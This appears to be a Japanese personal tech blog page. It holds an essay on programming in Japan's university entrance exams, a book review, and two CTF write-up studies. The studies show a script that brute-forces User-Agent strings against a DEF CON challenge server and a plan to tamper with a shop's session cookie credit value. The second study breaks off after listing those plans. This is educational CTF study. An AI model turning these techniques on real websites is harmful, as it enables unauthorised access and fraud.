ホンモノのエンジニアになりたい

ITやビジネス、テクノロジーの話を中心とした雑記ブログです。

大学新入試-プログラミング試験検討

興味深いニュースがあったので、概要と考察です。 長いです。

 

 

 

www.nikkei.com

www.nikkei.com

記事中にある未来投資会議はここ

https://www.kantei.go.jp/jp/singi/keizaisaisei/miraitoshikaigi/

 

ニュースの概要

政府は大学入試センター試験に変わって導入される「大学入学共通テスト」の科目にプログラミングや統計などの情報科目の導入を検討する。ビッグデータ人工知能活用の必要性が高まる中、文系・理系を問わず素養を身に着けさせIT人材育成につなげる。

17日の未来投資会議で議論に着手する。

プログラミングについては、高校では22年度から共通必履修科目に「情報Ⅰ」を新設し、すべての学生が学ぶことが決まっている。そして情報Ⅰを学んだ学生が受験する24年度の新テストから情報科目を導入する計画。試験はCBT形式による実施を視野に入れる。

背景にはデータサイエンティストなどのIT人材不足がある。IT人材は15年時点で17万人が不足しており、30年には需要がさらに拡大し、最大で79万人不足する見込み。日本では統計学専攻などの大卒者は年間4,000人、米国の25,000人と比べ少ない。

 

考察

プログラミング

何をやるか?

プログラミングの教育、そして大学入試・大学教育へつなげるということを考えた場合、一番重要なのはどの言語をやるかだと思います。ビジネスの現場ではどの言語を使うかは最も大事な要素ではないと思います。何を使うかというよりどう実現するか。そしてその先に現実的に実現できる言語は何か?という話になる。本質的には学校教育の場でも同じです。プログラミングの基本的な考え方を身に着けて、状況によって必要な言語を選択することが最も効率がよく、本質を突いていると思います。

しかし授業や入試で取り扱っていくことを考えると、以下の要件を満たす必要があり、どの言語で学ばせるかは非常に重要な要素となると思う。

①プログラミングやコンピュータの本質を学べる
②言語仕様に変更がかかりづらい
③権利的な問題が発生しない 

 

私はインフラ屋、セキュリティ屋なのでアプリは専門外ですが、C言語になるんでしょうかw

少なくとも①を突き詰めるとCだと思います。

②はある程度歴史を重ねてきたものならOKだけど、Pythonを例に見ると、1.0系が94年にリリース、2.0系が2000年リリース、3.0系が2008年にリリースされています。1.0のリリースから14年が経過した後にリリースされた3.0系ではそれまでの2.0系と仕様に大きな違いがある。

③はアカデミック教育とはいえ、一企業が権利を握っている言語は使えない。「来年から教育目的での使用を有料化することにした」という話になると大きな混乱が発生するから。Java

 

やっぱりCなんじゃないの。

共通試験でCやらせるなんて草、と思ったんですがよく考えると私は数学のベクトル問題や物理の電磁誘導とか大学行っても全然使わなかった内容が普通に入試では問われていました。旧来の大学入学試験におけるポリシーを維持するなら、学問的に基礎を為す知識としてC言語で出題されても違和感はないような気がします。

ただ今回の共通試験導入の目的は時代に合わせて変えるということなので、それを考えると色んなライブラリが公開されていて簡単に高度なことが出来る軽量言語である方が目的に適っているとも思えます。

情報工学の基礎を身に着けた人間を育成したいならC、コンピュータって楽しいんだよならHTML、簡単に高度な計算もできるよと理解した人間を育成したいなら軽量言語の選択になると思います。小学生はHTML、中学生で軽量言語、高校と大学入試でCってのが妥当な感じでしょうか。

 

しかしどうなんだろう、CにしろHTMLにしろ軽量言語にしろ、座学で学ぶより実機で書いて動かす方が遥かに効率的に学習できると思うんですよ。じゃあ自由に使えるPC持ってない学生は非効率な勉強を強いられるのかという話もこれから出てくるんじゃないでしょうか。義務教育なんだから国がPC支給しろよという主張も出てくると思う。貧困の連鎖という問題を考えると確かにそう。貧困世帯は机上デバッグしなさいってのは乱暴ですし。結局は、税金でPC配るか、PCルームを作って開放するか、はたまたPCの保持に関係ない授業内容になるか。特に大学入試にあたっては家でも勉強できるというのは非常に有利に映るはずです。また自治体によっては学校へPCを十分に準備できないところもあるはずで、そのあたりの格差が発生しないような環境を準備しなければならないのは結構大変だと思います。 

 

どう変わる?何が変わる? 

ここまでダラダラと考えを書いてきましたが、CでもRubyでもJavaでも何でもいいですが、プログラミングが新試験に導入されたとして、世の中どう変わるか、妄想してみました。

  • プログラミング塾が人気になる
  • Web屋さんが塾運営を始める
  • エンジニアを引退してプログラム講師や家庭教師に転身する人が出てくる
  • 廉価で軽いPCや、Webサイトフィルタソフト界隈が少し盛り上がる

 

新試験でどのような問題が出題されるかわかりませんが、教育に力を入れる親は早くからプログラミングを学ばせる場に子供を入れたくなるんじゃないですかね。特に新試験が始まって数回は出題予想も難しいですから、画一的な対策を講じにくいわけです。そうなるともう基礎力を高めるしか対策はありません。基礎力を高めるのに必要なのは根気と時間です。これを短期間でやろうとすると負担が大きいですから小さいころからコンピュータって楽しいんだよってことを刷り込んで、自発的にPCを触るような教育環境を作らなくてはいけない。

2022年に高校で授業が開始するなら、4年後なので今の小学生世代が対象ですかね。小学生向けの楽しいプログラミング塾が本格的にビジネス化していきそうです。

多分最初は塾運営のノウハウを持つ学習塾業界やITに特化した新興IT塾が盛り上がりをみせて、その後フリーランスエンジニアがその周りで低価格とか家庭教師みたいな形でやり始める。出遅れた大手Web屋が最後にブランド力を前面に出して動き出す。塾業界や大手と戦うのが嫌になったフリーランスエンジニアが動画サイトで講義動画を公開して広告費目当てでお金を払わない層を囲む。

 

オフラインで対面授業をウリにする学習塾業界、完全特化型の新興IT塾、ブランド力で高品質なWeb講義やスカイプ講義をウリにするWeb屋、Youtubeで講義動画をブロードキャストするフリーエンジニアの4軸による戦いが始まる。(はず!)

 

中学の技術・家庭科のモノづくりは楽しかった

ここで話を戻して学校教育現場での話です。

元記事によると、中学校の「技術・家庭科」の授業を拡充するという記載がある。拡充する分が純粋な授業時間の増加に繋がるならいいと思うんですが、これによって他の授業が割を食う形になるのはあまり良くないと思います。

私が中学校の頃も技術・家庭科という授業がありましたが、その授業では木工の作業やセンサーをハンダでくっつけてという簡単な電子回路の工作をやっていました。純粋にこの授業は楽しかったし、色んな工具の使い方を学べる義務教育にあるべき授業だったと今振り返ると思います。

時代の流れで将来ハンダを使う人と、コンピュータを使う人どちらが多いかと言えば後者であることは間違いないですが、あのような授業が無くなってしまうのは宜しくないと思います。(私の好みであることは認める)

 

他の授業を削るほど重要か

現行実施されている他科目の授業時間を削るほど重要かと考えるとこれが結構難しい。

将来役立つかという観点で考えると、国語算数英語並みかそれ以上に役立つスキルになると思います。国としてどういう人材を増やしたいかと言うと、もっと理系人材を増やしたいだろうから理科系科目も重要。音楽や図工などの芸術系や道徳系の授業はと言うと、それこそ義務教育でやるべき科目。

私は総学習時間が増えても他科目を削らずに情報系科目の授業をやるのがいいと思います。教育現場では色々とあるんでしょうけど、私は(安易に)そう思います。

どうやって情報系科目の授業時間を作り出すかは興味深いところです。

 

高校の授業で採用されるのが2022年度からで、24年度から新試験が始まって、大学に4年通った学生が社会に出てくるのが、2029年です。その先は段階的に中学から情報教育を学んだ世代、小学校から学んだ世代が順に社会人となるわけです。まだ10年20年先ですが、私はそのころまだまだ現役世代なので、その新人類と一緒に仕事をすることもあるでしょう。

きっとジェネレーションギャップを感じるんだろうなぁ、最近の若者はとか言うんだろうなぁ、裏で老害扱いされるんだろうなぁ。

 

統計

元記事には統計も情報科目の一部となることが記載されている。これについても思う所を書いていく。

目的、目標

最終的な目標はデータサイエンティストの育成にあるんでしょうが、高校生まででやれる内容はせいぜい平均値・中央値や分散、標準偏差といった基礎的な統計量と、行っても検定、回帰分析くらいが限界のはずです。

一般的なビジネスパーソンとして上記の知識があれば、大体こと足りるはずです。それ以上の知識が必要であれば、それはもう専門家に投げればよろしい。平均値や中央値の計算、グラフ化、それらの解釈が出来なくてビジネス案件を取り逃すレベルではグローバルな世界では戦えないので、そのレベルは最低限わかってくれということだと思います。

結局のところ基礎は数学

上述の統計量や検定、回帰分析、そして更に複雑な統計分析はその基礎に数学があります。回帰分析までは高校数学でやれると思いますが、その先は大分苦しくなる。ぶっちゃけ大学数学を学んだはずの私でも統計分析や経済学のモデル分析はきつかった。(ちなみに私は学生時代に統計学を履修していました。マクロ・ミクロ経済も。)

データサイエンティストは不足するのか

元記事ではデータサイエンティストなどのIT人材不足が危惧されています。IT人材の不足は確かにそうかもしれませんが、データサイエンティストが不足するとは正直思えません。現状は世の中でうまく噛み合っていない感じは確かにあります。

 

統計学周りにいる非情報系人材はRやSPSSなどをツール・ソフトウェアとして使っていて、IT自体に強い関心がある人は少ないです。(私調べ)

情報系人材はデータサイエンスがカネになることは大方わかっていますが、統計学をちゃんと学ぶのはやりたくない。

 

ここに壁があるように感じます。この統計屋と情報屋の壁を乗り越える根性がある人や、適正のある人が現在データサイエンティストを名乗っているというのが現状だと思います。乗り越えがたい壁があって、イマイチ人材が増えない。

 

ただいつまでもこの壁に阻まれて進めないってことは無いでしょう。世界中の専門家や技術者が知恵を絞ってこの壁を低くする努力や壊す努力をしていくことになるでしょう。純粋なデータサイエンティスト育成による純増に加え、両分野の一部の人たちが互いの分野に入り込むことで一気に対応人材が増えていく時期が来ると思います。

 

たぶん将来的には「統計学の習得が大変?大丈夫、データサイエンスシステムがあればね。」となると思います。その時データサイエンティストはどうなるか。他の職人的な分野と同等で極めて優秀な人や同じ組織でずっとやってきた人だけが残る世界になるものと私は考えています。

情報屋の観点で言うと、大規模でミッションクリティカルなシステムのアーキテクトが出来る人みたいな立ち位置になるのではないでしょうか。一応みんなそれなりに頑張ってレベルを上げようとするが、良い経験を積める案件は結局昔からやってる一流の人がやってしまって一流と二流の間の溝が深いといったそんな状態。

 

今後10年くらいは足りない足りない言われると思いますが、その後は一流しか残れない世界になると思うので、データサイエンティスト一本でやっていこうと思うと、汎用性をある程度切り捨てた特化型の人材を目指していく必要があると思います。そして特化型人材はハマらないと他へのツブシが効かないので人生苦労すると。(まぁ世の中の特化型人材はみんなそういう状況で頑張っているので、そういう人と同じですが)

 

おわりに

学生時代に統計学を使って研究していて、社会人になってからはITエンジニアとして、ビジネスパーソンとして働く私にはドンピシャテーマだったので、書きたいだけ書きました。冗長になった部分や妄言もありますが、大きく外した内容は書いていないはずです。

私は30代半ばにして未だに子供心を忘れていない、というかまぁ子供みたいな考え方で50代60代の守りに入った世代を嫌悪している部分があります。しかし、20年後には全然違う教育を受けた世代と一緒に仕事をして、自分も嫌悪される存在になったり、老害扱いされるんだろうなぁと考えると、やっぱり今を頑張って生きるしかないなと決意を新たにしました。きれいに結べました。

 

おわり

 

【writeupスタディー】DEFCON sbva (web)

writeupスタディーです。
人様が公開しているCTFのwriteupを読んで勉強しよう、そしてその内容を記録しておこうというエントリです。

私自身CTFは初級者レベルなので、アウトプットを通じて理解を深めたいというのが目的です。あと初心者が書くものなので、ある意味ほかの初心者の方もわかりやすくなる部分があるのではないかと思います。

問題概要

CTF:DEF CON CTF Qualifier 2018
問題:sbva
分野:Web

writeupページ:https://ctftime.org/task/6095

1問以上の問題に解答できたチームが586チームでこの問題を解けたチームが99チーム、正答チーム数でみると6番目に多くのチームが解いている問題です。前回のwriteupスタディーと同様に簡単な方の問題です。(難問はそもそもわからんのでレベルアップするまで触れない)

まずは問題文を確認。

We offer extensive website protection that stops attackers even when the admin's credentials are leaked!

Try our demo page http://0da57cd5.quals2018.oooverflow.io with username:password admin@oooverflow.io:admin to see for yourself.

管理者アカウントが漏洩した時でさえ攻撃を止めるWebサイト防御を提供する。
デモページでやってみな。

という問題。 デモページはこんな具合。

f:id:kwnflog:20180515181310p:plain

問題文に書いてあるアカウントでログインを試行する。 f:id:kwnflog:20180515181410p:plain

こんなページに遷移する。 f:id:kwnflog:20180515181430p:plain

当然ながら、エラーページに飛ばされた模様。これを何とかしてエラーページではない正解のページにアクセスする問題となっています。

最初に考えたこと、アプローチ

問題文からして提供されたログインアカウントは正しいものと考えた。このアカウントでどうにかして正規のページにアクセスする。

①とりあえずログインページとエラーページのソースを見てみる

特に怪しいところやヒントは発見できず。
/login.phpにログイン情報を投げているようですが、ブラウザ画面ではwrongbrowser.phpのページが表示されているので、リダイレクトされている模様。

②リクエストとレスポンスを覗く

まずこれが「Sign in」を押したときのリクエスf:id:kwnflog:20180515183445p:plain

これがレスポンス f:id:kwnflog:20180515183552p:plain

最初のlogin.htmlの画面でログイン情報を入力させて、login.phpへリクエスト要求を投げる。

サーバ側のlogin.phpで何かしてwrongbrowser.phpへリダイレクトしろというレスポンスを返してきているらしい。レスポンスの中にhtmlがあるけど、これは何なんだろう。

とりあえずwrongbrowser.phpのリクエスト、レスポンスのヘッダに怪しいところは見つからなかった。

フラグを取るための方針を立て、何とか頑張る

まぁここまでの文章ではふれませんでしたが、wrongbrowser.phpのbodyに「Incompatible browser detected.」とあるので、違うブラウザでアクセスするんだろうなということは考えていました。

「Incompatible browser detected.」(非対応なブラウザが検出されました)

ということで、それまでChromeでアクセスしていたのを、FirefoxIE、Edge、Android ChromeAndroid標準ブラウザと手元にあるブラウザでそれぞれアクセスしてみようという作戦をまず立てる。

・・・が、うんともすんとも状況は変わらず。



つーか、ブラウザ変えなくてもUser-Agent変えればいいんじゃないの、とここで気づく。久しぶりにAndroidタブレットを起動したが、速攻でお役御免。

以降、ChromeでUser-Agentを偽装してアクセスを試みることに。 偽装にはChromeアドオンの「User-Agent Switcher for Chrome」を使いました。

偽装はアドオンで標準装備されている、Chrome、IE6~10、iPhone6iPadAndroid KitKatWindows Phone8、Firefox v33、Opera 12、Safari7、をそれぞれ使ってアクセスしてみました。

が、これも全部だめ。


ここら辺で既にUser-Agentの変更じゃだめなのかしら、つーかそもそも方針が違うのかしら、といつも通り不安になる。
ここで集まって一緒に問題を解いていたお友達から「login.phpのレスポンスに現行廃止されてる機能が使われてる」と情報提供・アドヴァイスをいただく。

<html>
    <style scoped>
        h1 {color:red;}
        p {color:blue;} 
    </style>
    <video id="v" autoplay> </video>
    <script>
        if (navigator.battery.charging) {
            console.log("Device is charging.")
        }
    </script>
</html>

調べてみると、style scoped、video autoplay、navigator.battery.charging、の3つが既に廃止されてる模様。とりあえずこれを動かせればいいんじゃないという話になった。

というわけでそれぞれの動作バージョンを確認したのが以下。

Firefox Chrome
scoped 21~54
autoplay 3.5~62 4~69
battery 10~51 38~69

WEBの世界でブラウザが対応している機能かバージョンごとに教えてくれるサイト「Can I Use」で調べた結果です。(これはwriteupを見て知ったWebサイトでした。開催中は似たようなもう少しショボいサイトを見てました)

Can I use... Support tables for HTML5, CSS3, etc

さてこの段階ですべてに対応しているブラウザが存在しなかったら手詰まりだなぁと思っていたんですが、Firefoxの21~51なら共通でサポートされているようなので、「もろた!」と思いました。

まずはUser-Agentを偽装してリクエストを送って今までと違う動きをしないか確認してみることに。

ユーザエージェントは適当にググって↓のサイトから取得した。

User Agents - Parser and API - Easily decode any user agent

そいじゃ早速やってみませう。

# Python3 , User-Agent :Firefox 21
import requests

url='http://0da57cd5.quals2018.oooverflow.io/login.php'

payload={'username':'admin@oooverflow.io','password':'admin'}
headers={"User-Agent":"Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130517 Firefox/21.0"}

r=requests.post(url,headers=headers,data=payload)

r.text

# 'Incompatible browser detected.'

あれ・・・? v21は境界で含まないってことかしら?

# User-Agent:Firefox 30
headers={"User-Agent":"Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20130401 Firefox/30.0"}
r=requests.post(url,headers=headers,data=payload)
r.text

# 'Incompatible browser detected.'

あれれ~~~??(江戸川コナン風に)

# User-Agent:Firefox 40
headers={"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:10.0) Gecko/20100101 Firefox/40.0"}
r=requests.post(url,headers=headers,data=payload)
r.text

# 'Incompatible browser detected.'


# User-Agent:Firefox 50
headers={"User-Agent":"Mozilla/5.0 (Windows 3.0; rv:45.0) Gecko/20100101 Firefox/50.0"}
r=requests.post(url,headers=headers,data=payload)
r.text

# 'Incompatible browser detected.'

ハズレ。

やっぱり素のブラウザでないといけないのか。しかししばし探せど正規の過去バージョンFirefoxが見つからない。仕方なく大分怪しいアーカイブサイトからインストーラをダウンロード。評価用に立てていた仮想環境のサーバにぶっこんだが起動と同時に最新版へアップロードしてくれる親切仕様により過去バージョンとして動作させることができない。

該当バージョンのスタンドアローンインストーラを別に探してきて、オフライン状態でインストール、自動更新を無効化した上でアクセスしてみるか...

いやいやCTFだぞこれ、しかも名門(?)のDEFCONなわけだし、わざわざ古くて脆弱な可能性のあるブラウザを入れさせたりしないでしょ。DEFCONの問題解くためにFirefoxをダウングレードするなんて悪問もいいとこだし(素人見解)、きっとそういうことじゃない。そういうことじゃないよね?違うよね?(超不安)

それは無い。無いはず。きっと無い。多分ない。


結局その後は最後のあがきとして、インターネッツから見つけてきたUser-Agentのリストを手当たり次第ポストするというお行儀の悪いアプローチをかましてみた。が、何を投げても「Incompatible browser detected.」が返ってくる。


なるほど。無事、敗北 (゜ロ゜)

writeupスタディー

さぁそれではフラグは取れませんでしたが、writeupをみていきましょう。

①'Incompatible browser detected.'のメッセージからUser-Agentに目をつける
②login.phpアクセス時のレスポンス内容からアクセス可能なブラウザの範囲を絞り込む
③User-Agentの全組み合わせでアクセスを試みる



・・・ちょっと待て。ま? そういうことなの?


Balsnというチームのwriteupでは以下のようなスクリプトが書かれている。(私の環境で動作するよう一部改変)

元はここ。 ctf_writeup/20180512-defconctfqual at master · balsn/ctf_writeup · GitHub

import requests
from itertools import product

s = requests.session()
for i, j in product(range(5, 6), range(0, 51)):
    agent = 'Mozilla/{}.0 (Windows NT 10.0; WOW64; rv:{}.0) Gecko/20100101 Firefox/{}.0'.format(i,j,j)
    headers={'User-Agent': agent}
    r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='admin@oooverflow.io', password='admin'), headers=headers)
    print(r.text, i, j)

# ここより前は省略
# 
# Incompatible browser detected. 5 41
# OOO{0ld@dm1nbr0wser1sth30nlyw@y}         ←これがフラグ
# <html>
#     <style scoped>
#         h1 {color:red;}
#         p {color:blue;}
#     </style>
#     <video id="v" autoplay> </video>
#     <script>
#         if (navigator.battery.charging) {
#             console.log("Device is charging.")
#         }
#     </script>
# </html> 5 42
# Incompatible browser detected. 5 43
# 
# ここより後も省略

User-Agentのバージョンを表す部分に数字を組み合わせで入れてPOSTしているだけです。
出力内容からFirefox42の時のUser-Agentでフラグを吐いたと。こんな文字列。

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0


いやーこれは取れたな。取れなかったけど取れた。もう取れたでいいと思う。

私も手当たり次第のUser-Agentを投げたから、同じようなことはしてるんですけど、ちょっとそれは無くない?という感想です。

オフィシャルのRulesを見返すとこう書いてある。

No Denial of Service—DoS is super lame, don't do it or you will be banned
No automated scanning—For these challenges, do better

確かにブルートフォースすんなとは書いてない。DoSもしてないし、自動スキャンとも違うけど、CTFってもうちょっとインテリジェントなものじゃないかしら(素人見解再)。

いや違うか。writeupを書いたチームはFirefoxのUser-Agentを全パターン試行しているだけで、他の情報からFirefox42に絞れるのかもしれない。開催中は気付かなかったけど、サーバ側ではbrowsertest.phpというプログラムも動作しているようだったので、そのPHPを何とか引っこ抜くのが正しいアプローチなのかも。かも。

この問題から得られたノウハウ

  • ブラウザバージョンと機能を整理しているサイト:Can I User
    Can I use... Support tables for HTML5, CSS3, etc

  • ユーザエージェントまとめサイトUA一覧のソートが使いにくい)
    User Agents - Parser and API - Easily decode any user agent

  • 思いつきで一部だけやるんじゃなくて、やるなら全パターン網羅して抜け漏れ無くやる。この問題ではFIrefox21~51が範囲なんだから、その中の”どれか”が答えに繋がる道であることは推測し得た。21~51の範囲内で適当に選んで数個だけ試行してダメだこりゃ、と考えてしまったのはよくなかった。

  • Pythonのproduct関数(単純に知らなかったので)

from itertools  import product

A = ('a', 'b')
B = ('c', 'd')

list(product(A, B))

# [('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd')]

for i,j in product(A,B):
     print(i,j)

#a c
#a d
#b c
#b d



おわり

【読書感想文】「SCSKのシゴト革命」を読んで、ホワイト企業に憧れて

読書感想文です。今回読んだ本はこれ。

SCSKのシゴト革命 業務クオリティ向上への取り組み

SCSKのシゴト革命 業務クオリティ向上への取り組み

 

概要・この本を読もうと思った理由

IT業界のホワイト企業と紹介される事も多いSCSK社の各種取り組みが紹介されている本です。SCSK社と言えば、住商システム(SCS)とCSKが2011年に合併して出来た新しい会社。残業時間の少なさや有給休暇もバッチリ取れるということで、経産省に表彰されてしまうようなIT業界の会社らしからぬ会社です。

 

ちょっとググってみたところ最近では以下の表彰を受けているらしいです。

 

昨今の「働き方改革祭り」のニュースでよく名前を見かけます。平均残業時間なんか20時間以内だとかで、どうしたらIT業界、SI業で20時間を達成できるのだろうと、ずっと気になっていた会社でした。「SCSKがやってるなら、俺の所でも出来るはずだ」と同じIT業界に勤める私は考えまして、そのヒントを求めて本書を読んでみました。

全体的な感想

個別に気になった所はありますが、まずは全体の感想からいきます。本の内容としては軽い系の本です。よくまとまっているからそう感じるのでは、とも言えますが私が読んだ感じでは軽く読めてしまう程度の情報量でした。休日にサクッと読み切れてしまうような情報量です。良い本はそれこそ1ページ進むごとに色々な考えが頭に浮かんでくるものですが、そういう気づきや応用に思考を巡らす本では無いと感じました

本書のタイトルは「SCSKのシゴト革命 業務クオリティ向上への取り組み」です。読者はSCSKの残業時間の少なさやホワイト要素の秘密についてヒントを求めて手に取る人が多いと思います。

本書に書いてあることが全てであれば、明示されてはいませんが答えは「愚直に施策を進める」になります。

どこのSIerでもやっているような施策を経営トップが強い信念で徹底的に推し進めたということが本書から何となく読み取れました。何か凄い裏ワザで残業時間を減少させるといったウルトラC施策が書いてあるわけではありません。

 

残業と有給休暇に対する取り組み

施策

月平均残業時間20時間、有給休暇20日分の取得を目標に掲げていたそうです。じゃあどうやるのというと、以下の施策を実行していったそうです。

  • 目標達成でボーナスを支給
  • 一斉年休取得日の設定(飛び石連休の間は休み)
  • 有給休暇20日以外に不測の事態で使える休暇を5日分付与
  • 残業時間の長さによっては申請が必要
  • 残業時間が増すごとに段階的に承認者が上位職へ変更
  • 月80時間の残業で社長承認
  • 月60時間以上の残業や休出は部門へペナルティー

これら施策を実行すると、社員の意識が変わり残業が減っていったと本書には記載されている。

考察

同じIT業界、SI業の会社に勤める身としては、この施策で残業時間が減少していったとは考えづらいです。何かほかの要素によるプラスアルファがあったか、多くの社員による忖度がないと実現はしないだろうなと。

日本の会社は相当の理由が無いと社員を解雇できませんから、基本的に従業員はずっと同じ企業に勤めて給料が上がっていくことを期待します。となると、部門へペナルティが課されることや社長承認案件が発生することは上司の評価が下がることになるわけで、その上司が自分の評価を下げさせた部下に昇給・昇進はさせたくないと考えるのが普通です。そしてヒラ社員もそのストーリーを認識しているので上司が怒られる行いはしないのが一般的です。じゃあどうするか。何とか誤魔化す、隠すという方向にインセンティブが働くパターンが発生するわけです。

また目標達成でのボーナス支給についてもいい結果は出ないだろうと思います。ヒラ社員は上記の昇給、昇進といった長期的な目線での評価を気にしつつ、短期的にも自分の利益を最大化します。目標達成のボーナスを狙うか、素直に残業時間を申告して残業代を貰うか。

こういった長期・短期ごとの評価を勘案し、トータルで自己の利益(金銭、評価)を最大化する行動をとるわけです。多くの社員がいれば、中には真面目に勤怠をつける人もいるし、金銭的な利益を最大化する人もいる、長期的な評価を最大化しようとする人もいる。目の前の残業代と長期的な積み重ねで発生する昇給のどちらを選ぶか、勤怠を真面目につけるか、そもそも評価の上昇を貪欲に狙う性格か、人によって選択は変わります。

そんな色々な人たちの思惑が交錯した結果の最後の集計値が月の平均残業時間だったり、有給休暇の取得割合として表面化するわけです。確かに残業時間は減っただろうけど、それが上記の施策を実行した結果として発生した事実だとは思えないのです。上にも書きましたが、「社員の意識が変わり残業が減った」と本書にはあります。一般的に施策を実施しただけでは人の意識は変わりません。どうやって従業員の意識を変えさせたのか、その部分の記述が本書に無いのが非常に残念です。

 

ネガティブに考え過ぎな可能性は否定できません。もしかすると本書に書かれていない別のウルトラC施策があるのかもしれないですし、上記の実施した施策が有効に働く企業風土が醸成されてるのかもしれない、トップの求心力が高くて「社長がやるというならやる」と考える人がいっぱいいるのかもしれない。

いずれにしても、上記以外の何かがあるのだと思います。その何かは本書に書かれていませんので、それを求めている人は本書を手にとっても得られるものは少ないです。

 

残業は減っているが利益は増えている。なぜ?

本書によると、残業時間減少や休暇取得で労働時間は減少しているが、5期連続で増収増益を達成しているとある。これはなぜだろう?同業として気になるところです。

その答えは「仕事のやり方」を変えたことにあると書いてある。

業務の標準を定義し、社員がみんなそれに沿って仕事をすることで、作業は効率化、高品質で赤字プロジェクトも出ない、管理もしっかり出来るから赤字の芽を早期に摘める。

 

うん、そりゃそうだ。

これまた多くのSIerが実現しては形骸化させを繰り返してきた普通の施策が出てきた。確かに理屈は正しい。私が勤めるSIerでも標準化は行われているが、網羅性が低い、根付かない、古くなる、ということで結局使われていない。むしろ定義した人が満足して、外へのアピールに使って終わりという世間一般のSIerでは大体こうなるという鉄板パターンを踏んでいる。

本書では従業員に根付かせるためにSCSK社が行った施策についても記載がある。大体がこう。委員会を作る、部署ごとに業務標準導入リーダーを決める、説明会を開く、パイロットプロジェクトを決めて使わせる。

 

私が勤めるSIerなら絶対にうまくいかない。「会社がメンドクサイ標準を作ったらしい。うるせーから素直に従うフリだけして、やり方は今まで通り」という典型的な面従腹背民が多数現れる。

SCSK社でも同様の反発はあったらしい。しかし粘り強い啓蒙活動と実際に使ってもらう経験を積ませることで「あれ、これ悪くないやん」と思わせることに成功したとのこと。更に一度この標準を使ったプロジェクトを経験すると、業務標準に好意的になるらしい。(よくできてるってことか?)

 

上述した残業時間や有給休暇については、社員が忖度することで実態と異なる数値となっている可能性がある。しかしここで書いていることは増収増益に繋がる話、つまり会社の業績数値となるわけだから、まず実態の数字と考えられる。

となると、本当に業務標準を策定することで効率化が図れて、問題プロジェクトも発生させずに業績ガッポガッポ状態になったということか?

本書記載内容から考えると、そうとしか考えられない。

本書ではSCSK社で実施された様々な施策が記載されているが、その殆どが専門委員会を設けたとか、パイロットプロジェクトを選定したとか、どこでもやっていそうな対応しか書かれていない。しかしそれで上手くいっているということは、結局のところ愚直に問題・課題と向き合って、真摯に取り組んでいくことが大事であると、そういう事なのかもしれない。

まとめ

本書を執筆、発行しているのは日経BP総研であるが、正直言って読者が知りたいことや読者を納得させるために十分な情報が本書に纏められているとは言えないと思う。私がひねくれているという部分を差し引いても、読者を納得させるだけのロジックや強いメッセージは本書に無い。「当たり前の施策を愚直に進めること」と明確に書いてあれば納得感も出てくるのですが、そう書いてある箇所も見当たらず何となくSCSK社が実施してきた施策を紹介するだけの本になってしまっている。

故に上述のように穿った見方、否定的な見方で読んでしまう。実際にSI会社に勤めている身として「〇〇と書いている本もあったね」程度の使い方しかできないだろうと思う。

しかしながら、SIerによくある制度や、よくある管理システム、よく辿る道について深くは無いもののサラッと書いてある書籍としては非常に読みやすく、中堅SIer勤めの人や、若手SE、SIerへの就職を考えている学生くんには有益な本だと思う。

大手SIerグループに勤める人なんかは、「書いてある施策ぜんぶうちの会社でやっとるわ。でもうまくいっとらん。その答えは書いてないんかーーい!」とツッコミたくなるので期待しないで読むのが正解。

 

この本は日経BP社による発行で、SCSK社は取材協力という形をとっている。しかしかなりSCSK社の宣伝臭が強いものになっていると感じた。

 

おわり

 

【writeupスタディー】 ASIS CTF Quals 2018 Buy flags

writeupスタディーです。
人様が公開しているCTFのwriteupを読んで勉強しよう、そしてその内容を記録しておこうというエントリです。

私自身CTFは初級者レベルなので、アウトプットを通じて理解を深めたいというのが目的です。あと初心者が書くものなので、ある意味ほかの初心者の方もわかりやすくなる部分があるのではないかと思います。

問題概要

CTF:ASIS CTF Quals 2018
問題:Buy flags
分野:Web

writeupページ:CTFtime.org / ASIS CTF Quals 2018 / Buy flags

Welcome問題を解いたチームが725チームで、この問題を解けたチームが62チームなので簡単な問題ではないですが、まぁまぁ闘えるレベルになりたいと思ったら解けないといけないレベルの問題ではあります。

まず問題の全体像を抑える。

f:id:kwnflog:20180502165923p:plain

シンプルなECサイトの画面です。フラグが販売されているので、何とかして正しいフラグ(右のASIS Flag)を購入する問題のようです。但し画面右上のcreditは0なので、単純に「ASIS Flag」にチェックを入れて「pay」してもお金が足りなくて買えないので何とかしてみなというのが問題の主旨ですね。   

最初のアプローチ

まずざっくりとやってみたことは、
①とりあえず適当にポチポチ動かす
②ソースを見る

ソースには以下のスクリプトが埋め込まれていた。

 <script>
      $(document).ready(function() {
        $('#pay').click(function() {
          var coupon = btoa($('#coupon').val());
          var flags = ['fake1', 'fake2', 'asis'];
          var card = [];
          for (var i in flags) {
            if ($('#' + flags[i]).is(":checked")) {
              card.push({name:flags[i], count:1});
            }
          }
          $.ajax({
            type: 'POST',
            url :'/pay', 
            data: JSON.stringify({card: card, coupon: coupon}),
            contentType: 'application/json',
            success: function(result) {
              alert(result.result);
            }
          })
        });
      })
    </script>

ざーっくり解釈すると、
・クーポンをbase64エンコードする
・チェックしたカードの名前とカウント1をカードリストに追加
json形式でポスト
 ポストデータは{card:[{name:フラグ名, count:1}],coupon:base64したクーポン文字列
 チェックしたカードの数だけcardがリストで作られる

 クーポンの値をaaa(base64でYWFh)にした場合はこんな感じのデータがポストされる
  {"card":[{"name":"asis","count":1}],"coupon":"YWFh"}


③リクエストの詳細を覗いてみる

リクエストの内容を覗いてみると、session管理のクッキーを投げていることが判明
例えばこんな値
session:eyJjb3Vwb25zIjpbXSwiY3JlZGl0IjowfQ.DcsIvg.6KK32T79Rc8N6SuGAdGlov_WALg

base64ぽいのでデコードしてみると、こんな値だった
{"coupons":[],"credit":0}\x00\xdc\xb0\x8b\xe0\xe8\xa2\xb7\xd9>\xfdE\xcf\r\xe9+\x86\x01\xd1\xa5\xa2\xf5\x80.

後半部分は不明だけど、クーポンとクレジットの値をクッキーに入れてる。


私が開催中にやっていたアプローチ

開催期間中にチャレンジしていた私のアプローチ
①クッキーのcredit値を何とかして誤魔化す
②正規のクーポンを探す

